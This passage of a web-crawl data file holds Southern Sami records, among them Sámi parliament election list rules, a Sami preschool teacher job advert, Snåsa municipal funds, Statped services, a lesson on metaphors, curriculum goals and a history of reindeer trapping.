veeljemelåhkosne gievlesne. Læstoeraeriestimmie maahta maaje jienebh vuelietjaalegh utnedh goh 30, men unnemes 30 almetjh tjuerieh amma læstoeraeriestimmien duekesne tjåadtjodh.\nLæstoeraeriestimmie tjuara nommem utnedh akten tjirkijasse jïh akten sæjjasadtjetjirkijasse dej gaskem mah leah læstoeraeriestimmiem vuelietjaaleme.\nDastegh tjirkije jïh sæjjasadtjetjirkije eah leah bïeljelamme, dle åtna doh göökte bijjemes vuelietjaelijh goh tjirkijinie jïh sæjjasadtjetjirkijinie.\nSiebride mah leah registreradamme Saemiedigkien luvnie\nSiebrie tjoeri unnemes 60 steemmah åadtjodh aktene veeljemegievlesne jallh unnemes 200 steemmah abpe laantesne evtiebinie veeljemisnie (veeljeme 2013).\nDaejtie krirride\/dåehkide dle unnemes göökte dejstie ståvroelïhtsegijstie siebrien voenges goevtesisnie veeljemegievlesne edtjieh læstoeraeriestimmiem vuelietjaeledh.\nJis akte registreradamme siebrie læstoeraeriestimmiem buakta aktine ovregistreradamme dåehkine ektine, dle læjhkan krïevenasse lea faamosne unnemes 30 vuelietjaalegi bïjre almetjijstie registreradamme veeljemelåhkosne gievlesne.\nVeeljemasse 2017 daah siebrieh krïevenasside illieh unnemes 60 steemmaj bïjre aktene veeljemegievlesne, jallh unnemes 200 steemmah abpe laantesne evtiebinie veeljemisnie:\nBarkijekrirrie\nÁrja\nEvtiedimmienkrirrie\nÅelkieskrirrie\nNöörjen Saemiej Rijhkesiebrie\nSaemiej åålmegekrirrie\nGaskoehkrirrie\nLæstoeraeriestimmie edtja daah lissietjaalegh utnedh:\n- Bijjieguvvie kandidaati reakedsbiejjien bijjelen\n- Bijjieguvvie reakedsbiejjien jïh årromesijjien bijjelen dejtie mah leah læstoeraeriestimmiem vuelietjaaleme\n- Dastegh akte kandidaate ij leah tjaaleme almetjeregisterisnie goh årroje veeljemegievlesne gosse læstoeraeriestimmie sïjse deellesåvva, tjuara akte bæjhkoehtimmie meatan årrodh kandidaateste mij jeahta satne sæjhta veeljedihks årrodh veeljemebiejjien\n- akte kandidaate ij leah veeljedihks sov barkoen gaavhtan, akte bæjhkoehtimmie tjuara meatan årrodh kandidaateste mij jeahta satne lea barkoem orrijamme veeljemebiejjien\nGïetedimmie læstoeraeriestimmeste\nMaahta læstoeraeriestimmiem bååstede gåhtjodh. Daate tjuara sjugniehtovvedh voerhtjen 20.b. 2017 åvtelen.\nSaemiedigkien veeljememoenehtse sæjhta læstoeraeriestimmide gïetedidh jïh raeriestimmieh veeljemelæstojde jïh bååstedegohtjedimmiem veeljemelæstojste jååhkesjidh.\nJååhkesjimmiemierie læstoeraeriestimmijste lea ruffien 1.b. 2017.\nLæstoeraeriestimmieh vuartasjæmman bïejesåvva iktemearan gosse sïjse båetieh.\nDastegh læstoeraeriestimmie ij mieriedimmide illh gosse sïjse deellesuvvieh, veeljememoenehtse tjuara voejhkelidh læstoem mieriedimmiej mietie buektedh rååresjimmiejgujmie læstoen tjirkijinie.\nGosse læstoeraeriestimmieh leah sïjse båateme, gaajhkh kandidaath sijhtieh bïevnesh åadtjodh dah aktene læstoeraeriestimmesne tjåadtjoeh, daan nuelesne aaj luhpien bïjre lutniestimmien bïjre syökedh.\nJis akte kandidaate jieniebinie læstojne tjåådtje jallh vuelietjaelije lea jieniebinie læstojne vuelietjaaleme, satne tjuara bïeljelidh mennie læstoeraeriestimmesne satne sæjhta tjåadtjodh.\nJis dagkeres bïevnese bååstede ij vadtasovvh, dellie dïhte sæjhta dennie læstosne tjåadtjodh mij voestegh sïjse deellesovvi.\nJarkelimmieh mah maehtieh dorjesovvedh læstoeraeriestimmesne\nDah mah raeriestimmiem buektieh maehtieh ajve jarkelimmieh læstoeraeriestimmesne darjodh juktie dam krïevenassi mietie darjodh. Ij leah nuepie jeatjah jarkelimmieh darjodh goh dïhte mij lea daerpies juktie læstoeraeriestimmiem öörnegisnie åadtjodh, v.g. ij leah luhpie jarkelidh mennie öörnegisnie kandidaath tjåadtjoeh dan åvteste ij leah madtjeles dejnie.\nJis akte kandidaate hiejhtesåvva læstoeraeriestimmeste, dellie ajve dah mah læstoem buakteme mah maehtieh sjæjsjalidh mejtie akte orre nomme edtja dan gåaroes sæjjan bïejesovvedh, jallh mejtie doh minngebe kandidaath bæjjese båetieh jïh læstoe aktem orre nommem vuelielisnie åådtje.\nLaejhteme\nIj leah nuepie nænnoestimmieh laejhtedh mah leah dorjeme Saemiedigkien veeljememoenehtsisnie. Laejhtememierie lea 7 biejjieh bæjhkoehtimmien mænngan dejstie jååhkesjamme læstojste.\nLutniestimmie kandidaatijste\nMaahta lutniestimmiem vedtedh dastegh kandidaate lea 60 jaepieh illeme eannan 2017 nåhkeme, jallh saemiedigkietjirkijinie orreme doh minngemes njieljie jaepieh jallh jis eah maehtieh laavenjasside gorredidh goh lïhtsege Saemiedigkeste bielelen fer stoerre dåeriesmoerh.\nBijjieguvvie unnemes- jïh jeenjemeslåhkoen bijjelen kandidaatijste læstoeraeriestimmide:\nVeeljemegievlie 1 Luvlie: unn. 9, jeen. 10\nVeeljemegievlie 2 Ávjovárri: unn. 9, jeen. 16\nVeeljemegievlie 3 Noerhte: unn. 9, jeen. 12\nVeeljemegievlie 4 Gáisi: unn. 9, jeen. 10\nVeeljemegievlie 5 Jilliemearoe: unn. 9, jeen. 10\nVeeljemegievlie 6 Åarjelsaemien: unn. 9, jeen. 9\nVeeljemegievlie 7 Åarjel-Nöörje: unn. 9, jeen. 12","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/saemiedigkie.no\/Veeljeme\/Sametingsvalget-2017\/Listeforslag-til-sametingsvalget-2017\/Deelleme-laestoeraeriestimmijste-saemiedigkieveeljemasse-2017","date":"2018-08-20T10:22:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221216333.66\/warc\/CC-MAIN-20180820101554-20180820121554-00108.warc.gz","language":"sma","language_score":0.9999608994,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999608993530273}","num_words":502,"character_repetition_ratio":0.119,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvlelohkehtæjja mij saemeste, Naastan, Ängesne\nKrokomen tjïeltesne jaahkoem båetije biejjide sjïdteminie jïh almetjidie jeananieh, gosk almetjh diekie juhtien jïh daesnie baetsien. Sjïdtemefaamoe jïh entreprenöörebarkoe lægan biehkieh tjïeltese gusnie akte vïjhtehts biehkiem almetjijstie leah 12 jaepien båeries jallh nuerebe.\nMedtie 3 mïjlh noerhtejalledh Krokomistie, Änge gællesje, dunnie tjaebpies Offerdaelievoenesne. Daesnie gellieh noere fuelhkieh gååvnese jïh ektievoetem stoerre lea. Krokomen tjïelte akte saemien reeremedajvem, juktie gaajhkide skuvlh jïh aarhskuvlh aktem sjïere barkoem utnieh saemien gïelide jïh kultuvrem vuesiehtidh.\nAarhskuvlem Ängesne golme goevtesh åtna, göökte jaepie-juekeme goevtesh jïh dam saemien goevtesem, Naestie. Aarhskuvlem raeffies dajvesne gusnie skåajjen jïh eatnemen lïhke gællesje. Daesnie aaj jïjtse doeltehtæjjam gååvnese mij beapmoeh jurjehte. Naastan daelie datnem ohtsedibie mij dov daajroejgujmie jïh dååjrehtsigujmie sæjhta aktem vihkeles biehkiem saemien revitaliseringebarkosne sjïdtedh.\nBarkoelaavenjassh\nBarkoelaavenjassh\nDatne lyjhkh smaave maanaj lïeremem jïh övtiedimmiem skreejrehtidh, voestes baakojste gosk voestes klaassese aelkien, dellie datnem ohtsedibie!\nBarkoem 1- 6 jaepien maanadåehkesne darjoen numhtie ahte, datne dov barkoevoelpigujmie dïedtem soejkesjæmman jïh darjomem vaeltien buerie pedagogihke darjomistie, gusnie hokse, eeleme jïh lïerehtimmie akten gievlesne lea. Barkosne edtjh datne aaj vuesiehtidh, ööhpehtidh jïh övtiedidh aktem maanadåehkiem saemien gielesne jïh kultuvresne.\nAarhskuvlen learoeplaane jïh tjïelten vuepsie lea stuvrijedokumenth mah edtjieh saemien perspektijveste dåeriedidh. Vihkeles fïerhtene maanaj sjïere daerpiesvoeth vuejnedh jïh destie darjoem soejkesjidh dej jeatjah barkoevoelpigujmie, barkoedåehkesne.\nMijjieh dåehkine barkeminie jïh vuepsiem lea fïerhtene indivijdem nænnoestidh jïh övtiedidh, oktegh jïh dåehkesne.\nMaahtoeh\nMaahtoeh\nMijjieh sïjhtebe datne Aarhskuvlelohkehtæjjaööhpehtimmiem åtnah jallh jeatjah pedagogihke ööhpehtimmiem jallh dååjrehtsem mij maahta jaepiedåahkan sjïehtedh. Vihkielåbpoe ööhpehtimmeste lea dov daajroe jïh maahtoe saemienkultuvren jïh gïelen bïjre.\nDatne empatije maahtoem åtnah ihke buektedh maanaj daerpiesvoeth guarkedh jïh dejtie gaavnedidh gusnie dah leah jïh aaj buektiehtidh goltelidh, madtjeldehtedh, stimuleeredh jïh jïjtje lïeredh jåerhkedh övtiedidh. Eadtjohke, damteme jïh guarkemem jeatjah almetjidie mijjieh tuhtjebe vihkeles maahtoem akten aarhskuvle lohkehtæjjese.\nVihkeles lea aaj ahte datne buerie pedagogihke åejvie leah mij lyjhkh smaave jïh stuerebe maanajdåehkieh lijrehtidh. Datne tjoerh ussjedimmesne jïh gïetedimmesne fleksijbele årrodh gåessie aarhskuvlen biejjieh eah naan vijjieh dåeredh guktie edtjieh sjïdtedh.\nGåessie datne akten barkoedåehkesne edtjh meatan årrodh, datne aelhkieslaakan ektiebarkojne leah. Barkoe kreava datne noerhte- jallh åarjelsaemien gïelem tjaalah jïh soptsesth gosse abpe lohkehtimmiem saemiengïelesne lea. Datne tjoerh aaj saemien kultuvrine åehpies årrodh.\nJeatjah\nJeatjah\nAnnjebodts abpe tïjje barkoem, aalkoem juktie latjkosne\nMinngemes syökemebiejjie 2019 08 05\nAnsökan\nSista ansökningsdatum:\n2019-08-05","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.krokom.se\/jobba-hos-oss\/platsannonser\/2019-05-23-aarhskuvleloh-kehtaejja-mij-saemeste-naastan-angesne.html","date":"2019-07-16T16:14:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195524679.39\/warc\/CC-MAIN-20190716160315-20190716182315-00535.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":365,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TJÏELTEN LEGAATE SOSIJAALE JÏH HEALSOEÅSSJELIDIE SNÅASESNE\n30.000 kråvnaj raajan ållesth kapitaaleste maehtieh juakasovvedh daejtie 3 åssjelidie:\na) Dan buaratjommesasse voeresidie Snåasen tjïeltesne\nb) Goh dåarjoe ekonomeles buerkiestamme ohtsemen mietie\nc) Diabetesesåssjelh\nAkte jïjtse ståvroe dam reerie\nVadtasåvva goeven.\nOhtsememierie gålkoen\/rahkan 1.b. 2019.\nKARIN JÏH TORBJØRN JØRSTADEN VADTESEPRIEVIE\nNoeride mah Snåasesne årroeminie jïh mah sijhtieh meatan årrodh kuvsjesne jallh plearoeh juktie musihkem jallh laavlomen lïeredh jïh mah sijhtieh ööhpehtimmiem vaeltedh naakeninie daejstie vuekijste.\nAkte jïjtse ståvroe dam reerie.\nOhtsememierie gålkoen\/rahkan 1.b. 2019.\nSNÅASEN MAANA- JÏH NOEREFOENTE\nEdtja maana- jïh noerebyjresem Snåasesne dåarjoehtidh. Hijven eejehtimmie- jïh darjomefaalenassh. Ektieråajvarimmieh.\nAkte jïjtse ståvroe dam reerie.\nIj naan ohtsememierie. Iktemearan gïetesåvva.\nDah mah sijhtieh vielie daej legaati bïjre daejredh dejnie aajkojne ohtsedh, maehtieh tjïelten åejvine gaskesadtedh, tell: 99582658, meejle: email@example.com\nOhtsemh seedtesuvvieh:\nOrdfører\/Tjïelten åejvie, Snåasen tjïelte, Sörsivegen 6, 7760 SNÅSA\/SNÅASE\nKOMMUNALT LEGAT FOR SOSIALE- OG HELSEFORMÅL I SNÅSA.\nInntil kr. 30.000 av totalkapitalen kan hvert år fordeles til følgende 3 formål:\nd) Til beste for eldre i Snåsa Kommune.\ne) Som tilskudd etter økonomisk begrunnet søknad\nf) Diabetesformål\nDisponeres av et eget styre.\nUtdeling skjer i desember.\nSøknadsfrist: 1. november 2019\nKARIN OG TORBJØRN JØRSTADS GAVEBREV\nTil ungdom bosatt i Snåsa som ønsker å delta på kurs eller lignende for å lære om musikk eller sang og som ønsker å utdanne seg i en av disse grenene.\nDisponeres av eget styre.\nSøknadsfrist 1. november 2019\nSNÅSA BARNE- OG UNGDOMSFOND\nSkal støtte barne- og ungdomsmiljø i Snåsa. Positive fritids- og aktivitetstilbud. Fellestiltak. Disponeres av eget styre.\nIngen søknadsfrist. Behandles etter hvert.\nDe som ønsker å vite mer om disse legatene for mulig søknad kan ta kontakt med ordføreren, tlf 99582658 mail : firstname.lastname@example.org\nSøknader sendes:\nOrdfører, Snåsa kommune, Sørsivegen 6, 7760 SNÅSA.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.snasa.kommune.no\/politikk-okonomi-og-administrasjon\/politikk\/stipend-legater-fond\/kommunale-legat-og-fond\/","date":"2020-01-21T23:56:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250606226.29\/warc\/CC-MAIN-20200121222429-20200122011429-00252.warc.gz","language":"sma","language_score":0.9709947705,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.970994770526886, \"sme_Latn_score\": 0.013966663740575314, \"nob_Latn_score\": 0.012191767804324627}","num_words":269,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mah dïenesjh Statped vadta?\nDïenesjh Statpedeste maehtieh indivijde- jïh\/jallh systeemebaseradamme årrodh. Barkoevuekieh dovne indivijde- jïh systeemedaltesisnie edtjieh prinsihpem dåarjedidh akten feerhmeles lïerehtimmien, barkoen jïh siebriedahkejieleden bïjre.\nStatped dïenesjh vadta tjïeltide jïh fylhkentjïeltide gosse\n- dah leah salkehtamme jïh råajvarimmiejgujmie nïerhkeme bielelen vaajteles illedahkh\n- ij maehtieh veanhtadidh dah maahtoem utnieh\n- Statped vuarjesje maahtoe byöroe bæjjese bigkesovvedh voengesne\nAkti veajkoej Statped maahta dïenesjigujmie nïerhkedh bielelen råajvarimmieh leah pryöveme voengesne. Maahta årrodh gosse naaken lea saanseteehpemigujmie reakadamme jallh åådtjeme aajlamïrhtoej sjïekenisnie.\nLissine dïenesjh deelledh tjïeltide jïh fylhkentjïeltide, Statped edtja akte daajroe- jïh vierhtiejarnge årrodh gaajhkesidie mah joekehtslaakan leah ektiedamme jallh ïedtjem utnieh dan sjïerepedagogeles suerkien bïjre. Daate sæjhta jiehtedh vuesiehtimmien gaavhtan dah mah skuvline jïh maanagïertine berkieh maehtieh sjïerepedagogeles bïevnesh gaavnedh Statpeden kommunikasjovne-åerine.Vierhtieh aktem dæjpeles perspektijvem utnieh jïh edtjieh nuhteligs årrodh dej barkosne.\nIndivijdebaseradamme dïenesjh\nIndivijdebaseradamme dïenesjh leah dïenesjh mah leah akten sjïere nammoehtamme almetjen bïjre.\nIndivijdedaltesisnie gaskem jeatjah daah dïenesjh faalesuvvieh:\n- bielietïjjen lïerehtimmie væhtagïeleutniejidie\n- elliestïjjen lïerehtimmie bieljehtstjelmehts learoehkidie jïh væhtagïelen learoehkidie\n- Kuvsje eejhtegidie jïh dejtie mah lea eejhtegi åvteste\n- Kuvsje utniejidie\n- Voenges maahtoelutnjeme\n- Salkehtimmie\n- Evtiedimmie jïh evalueradimmie råajvarimmijste\n- Bïhkedimmie, raeriestimmie jïh rååresjimmie\nSysteemebaseradamme dïenesjh\nSysteemebaseradamme dïenesjh leah dïenesjh mah eah leah naan vihties almetji vööste stuvreme.\nSysteemedaltesisnie gaskem jeatjah daah dïenesjh faalesuvvieh:\n- Lohkehtimmieh\n- Voenges maahtoeevtiedimmie jïh kuvsjh\n- Meatan årrodh prosjektine\n- Studentebarkoe\n- Evtiedimmie lïerehtimmievierhtijste\n- Bïhkedimmie, raeriestimmie jïh rååresjimmie\nStrategeles åtnoe teknologijeste\nBijjietjiehpiesvoeth haalvedh lea daerpies lïeremen jïh evtiedimmien gaavhtan lïerehtimmesne, barkosne jïh siebriedahkejieliedisnie.\nTeknologije orre nuepieh vadta maam akt tjaeledh, lohkedh jïh ryöknedidh, men aaj orre nuepieh dejtie tjiehpiesvoetide vejtiestidh, jïh maehtedh digitaale dïrregh nuhtjedh.\nStatped edtja viehkiehtidh guktie tråjjesteknologije evtiesåvva jïh åtnose vaaltasåvva guktie dïhte nåhtojne sjædta maanide, noeride jïh geerve almetjidie sjïere lïerehtimmiedaerpiesvoetigujmie. Tråjjesteknologije akte öörneldihkie jïh strategeles åtnoe digitaale teknologijeste.\nDotkeme- jïh evtiedimmiebarkoe (DjE)\nStatped akte lïhtse gaskem universiteete- jïh jïlleskuvlesuerkiem jïh dam sijjiem gusnie barkoe dorjesåvva. Statped öörneldihkie barka juktie orre daajroem evtiedidh man våarome lea akte dotkeme mij lea lïhke ektiedamme barkose. Akte DjE-strategije dorjesåvva daan barkose.\nSosijaale jïh kultuvrelle darjomh\nDan åvteste kultuvrelle identiteete jïh gïeleidentiteete aktene ektievoetesne evtiesuvvieh, Statped edtja sosijaale jïh kultuvrelle sijjide sjïehteladtedh gusnie utnijh maehtieh gaavnesjidh.\nSide 4 av 7","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/statped--akte-bielie-lierehtimmiesuerkeste\/faage-jih-dienesjefaalenasse\/mah-dienesjh-statped-vadta-\/","date":"2022-12-09T06:10:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711390.55\/warc\/CC-MAIN-20221209043931-20221209073931-00815.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999998807907104}","num_words":344,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse mijjieh jortehtibie mijjieh maehtebe viertiestimmieh, metafovrh jïh klisjeh nuhtjedh gïeleldh vierhkie-vierhtine. Gosse viertiestimmiem nuhtjebe, dellie maam akt mejnie akt jeatjabinie viertiestibie.\nGïeleldh guvvieh\nGellie ovmessie såarhts gieleldh guvvieh gååvnesieh guktie viertiestimmie, metafovre, jïh klisje.\n- Åvla vaadtsa goh staaloe\n- Datne luvrege goh riepie\n- Datne staaloe\nViertiestimmie\nGaajhkh gïeleldh guvvieh viertiestimmieh utnieh. Jis mijjieh jiehtebe gie akt lea riepie dellie tuhtjebe, dïhte riepien jïjtsevoeth åtna. Gosse viertiestibie dellie viertiestimmie-baakoem goh nuhtjebe.\n- Datne luvrege goh riepie\nMetafovre\nGosse mijjieh jortehtibie dellie maehtebe metafovrh nuhtjedh. Akte metafovre lea aaj viertiestimmie, men dellie ibie viertiestimmie-baakoem goh nuhtjh raajesisnie. Gosse ibie viertiestimmie-baakoem nuhtjh dellie maehtebe raajesem sagke tjyölkehkåbpoe guarkedh. Dellie ibie maehtieh raajesem jeatjhlaakan guarkedh.\nVuesiehtimmieh\nMetafovre: Datne leah staaloe\nViertiestimmie: Datne goh staaloe\nVijriedamme metafovre\nMaehtebe aktem metafovrem vijriedidh. Dellie gellie raajesh maehtieh metafovrine årrodh. Dellie mijjieh dam metafovrem gåhtjobe vijriedamme metafovre. Nils-Aslak Valkeapää lea diktem Mov veasoe lea mov vaajmosne tjaaleme. Diktesne Valkeapää metafovrem veasoe nuhtjeme, jïh dïhte dam metafovrem vijrede jïh buerkeste.\nMov veasoe lea mov vaajmosne\nMov veasoe lea mov vaajmosne\nmij mov aktine jåhta\nmov luvnie vuelie jeala\ndesnie aaj maanaj praahkese\nbealloeh skaenieh\nbïenjh huhtieh\nsoehpenje sjåvva\ngåptoej lastoeh straptjoeh\nsaemiej nïejti gaalsohkh\nmojjehtese aejkede\nMov veasoe lea mov vaajmosne\nmij mov aktine jåhta. [1]\nKlisje\nGosse mijjieh jortehtibie dellie maehtebe klisjeh nuhtjedh. Klisje lea viertiestimmie jallh metafovre mejtie mijjieh fer jïjnjem nuhtjebe.Klisje maahta dovne baakoeh jïh jiehtegh årrodh. Jis mijjieh maam akt gellien aejkien govleme juktie maehtebe jiehtedh ov-rovne sjïdteme dellie daate akte klisje. Daaroen gïelesne raajesh guktie; Lise skinte som en sol, jïh Hun er som en rose leah klisjeh. Mijjieh aaj maehtebe jiehtedh akte baakoe maahta klisjine årrodh. Dellie mijjieh daam baakoem dan gellien aejkien nuhtjebe guktie baakoe faamoem dassa.\nViertiestimmie, metafovre jallh klisje daejnie raajesinie?\n- Tjaebpies goh aeredsnaestie\n- Dov tjelmieh goh naestieh klijnedieh\n- Gosse datne mojjehth dle dïhte mov vaajmoem baahkede","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:5cf7a096-53f4-48c8-a889-447f6e95c80d\/resource:1:164536","date":"2023-09-30T10:42:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510671.0\/warc\/CC-MAIN-20230930082033-20230930112033-00080.warc.gz","language":"sma","language_score":0.999980092,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999980092048645}","num_words":305,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vitnedimmie (KRO01‑05)\nMaahtoeulmieh jïh vuarjasjimmie\nMaahtoeulmieh jåa2 mænngan\n- stååkedimmieh, gaarsjelimmiedarjomh jïh jeatjah svihtjemedarjomh tjïrrehtidhjïh guarkedh\nTjïrrehtidh lea nïerhkedh, darjodh jïh illedh, vuesiehtimmien gaavhtan laavenjassem, goerehtimmiem jallh soejkesjamme barkoem.guktie ovmessie darjomh koordinasjovnem, gaarhkem, vissjelesvoetem jïh svihtjemem baajnehtieh jïh evtiedieh\nGuarkedh lea mïelem mejnie akt gåajhtsedidh, guarkedh mij jeahtasåvva jallh guktie mij akt ektesne govlesåvva. Maahta goerkesem vuesiehtidh viehkine tjïelkestidh, ovmessie alternatijvh digkiedidh, sjyöhtehke vuekieh viertiestidh jallh kvaliteetem vuarjasjidh.\n- oktegimse saavredh jïh ussjedadtedhguktie fysiske darjomh maehtieh hijven psykiske jïh fysiske healsoem eevtjedh jïh jieledevuekiem vedtedh mij healsoem eevtjie mænngan skuvlem orrijamme jïh båetijen aejkien barkoejieliedisnie\nUssjedadtedh lea goerehtidh jïh ussjedadtedh ovmessie bieliej bijjeli jïjtsh jallh mubpiej dahkojne, vuajnojne jïh åssjalommesinie. Maehtebe aaj ussjedadtedh akten aamhtesen bijjelen, praktihkeles darjomi bijjeli jallh jïjtse lïeremen bijjelen. Ussjedadteme lea jïjtse åssjaldahkh jïh vuajnoeh pryövedh juktie buerebe daajroem jïh goerkesem evtiedidh.\n- njoelkedassh nuhtjedh juktie meatan årrodh ovmessie svihtjemedarjoeminie jïh meatan årrodh mubpide lïerehtidh\n- darjomh ålkone soejkesjidhjïh tjïrrehtidh\nSoejkesjidh lea soejkesjem bïejedh juktie ulmiem jaksedh. Soejkesje buerkeste guktie mijjieh libie ussjedamme darjodh juktie ulmiem jaksedh, jïh maahta ektiedimmiem vuesiehtidh darjomi, tjïrrehtimmien jïh ulmien gaskem.ovmessie jaepieboelhkine, gusnie aajkoe lea hijven dååjresh eatnamisnie utnedh\nTjïrrehtidh lea nïerhkedh, darjodh jïh illedh, vuesiehtimmien gaavhtan laavenjassem, goerehtimmiem jallh soejkesjamme barkoem.\n- monnehke fealadimmiem eatnamisnie nuhtjedh jïh maehtedh ålkoejieledem tjïrrehtidhvoengesne\nTjïrrehtidh lea nïerhkedh, darjodh jïh illedh, vuesiehtimmien gaavhtan laavenjassem, goerehtimmiem jallh soejkesjamme barkoem.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/kompetansemaal-og-vurdering\/kv187?lang=sma","date":"2023-09-22T19:12:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506421.14\/warc\/CC-MAIN-20230922170343-20230922200343-00156.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":218,"character_repetition_ratio":0.066,"word_repetition_ratio":0.053,"special_characters_ratio":0.129,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vijredh, bivtedh jïh gööledh joekoen vihkeles noerhte skåake-dajvine Skandinaavesne orreme gossege dah voestes almetjh dajvese böötin medtie 10 000 jaepiej dan åvtelen. Dovne daanbien maehtebe gïejh dehtie tïjjeste vuejnedh.\nSpaenjie-tjaalegh\nSpaenjie-tjaalegh daamhtah sarvh vuesiehtieh, jalhts akten sijjesne Sveerjesne gellie guelieh tjaalehtjamme. Daanbien dejtie væhtine vuejnieh man vihkeles dïhte vijreme tjuetie jaepine orreme. Gierkienjoele-gietjieh dej spaenjie-tjaalegi lïhke mejtie Liksjosne gaavneme maehtieh sih gïejh årrodh gosse vijremem dovletje earoehtin.\nVijreme-svaalkh\nVijreme-svaalkh sarvide jïh gedtide joekoen sïejhme. Dah båarasommes mejtie gaavneme medtie 6000 jaepieh båeries, jïh daam vuekiem 1860-jaepine bïedtehtovvi. Dah kråavh mahte sinsitnien baalte båårestahkine dah dajvine gusnie vijrh aaj daelie minnieh. Baatsahtassh smaave vijremisnie, sueptjehkh riepide, gosse riepie sïeptegen mietie nuhtjie dellie åvtesjuelkine dïsse dabrani, jallh bartah åerievidie maam Vistiegisnie, Sveerjesne jaepien 2012 gaavnin. Daam bartam aareh 1900-jaepine Liksjoen tjïeltesne buerkiestamme: læjhkan ij naan jeatjah lehkesne gaavneme jalhts Vistiegisnie, Nöörjesne gedtie-vijremistie våarhkoeh gaavneme dagkere tjïekeme-sijjieh vijrijasse.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:176848","date":"2019-04-19T17:34:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00262.warc.gz","language":"sma","language_score":0.9999767542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999767541885376}","num_words":206,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jannie Staffansson (24) lea maasterelearohke organisk kemijesne. Dan jaepien lea molsemelearohke Tromsøen universitetesne.\nJannie Staffansson\nIm vienhth manne ussjedim manne edtjem keemiste sjidtedh gosse lim onne. Dotkedh jih labesne barkedh.\nMaasteren nåhkemisnie åadtjoeh dotkijedåehkesne barkedh. Dellie jijtje dotkemem utnieh ji dellie åadtjoeh aaj pryøvedh guktie lea dotkije aarkebiejjesne årrodh.\n«Daan jaepien manne åådtjeme lohkedh jih vielie canceren jih HIV-dotkemen bijre lïereme» Jannie soptseste cancere jih HIV seamma ulmie kråahpesne utnieh, jih daalhkesh mah canceren vøøste dæjpa, maahta aaj HIV-en vøøste 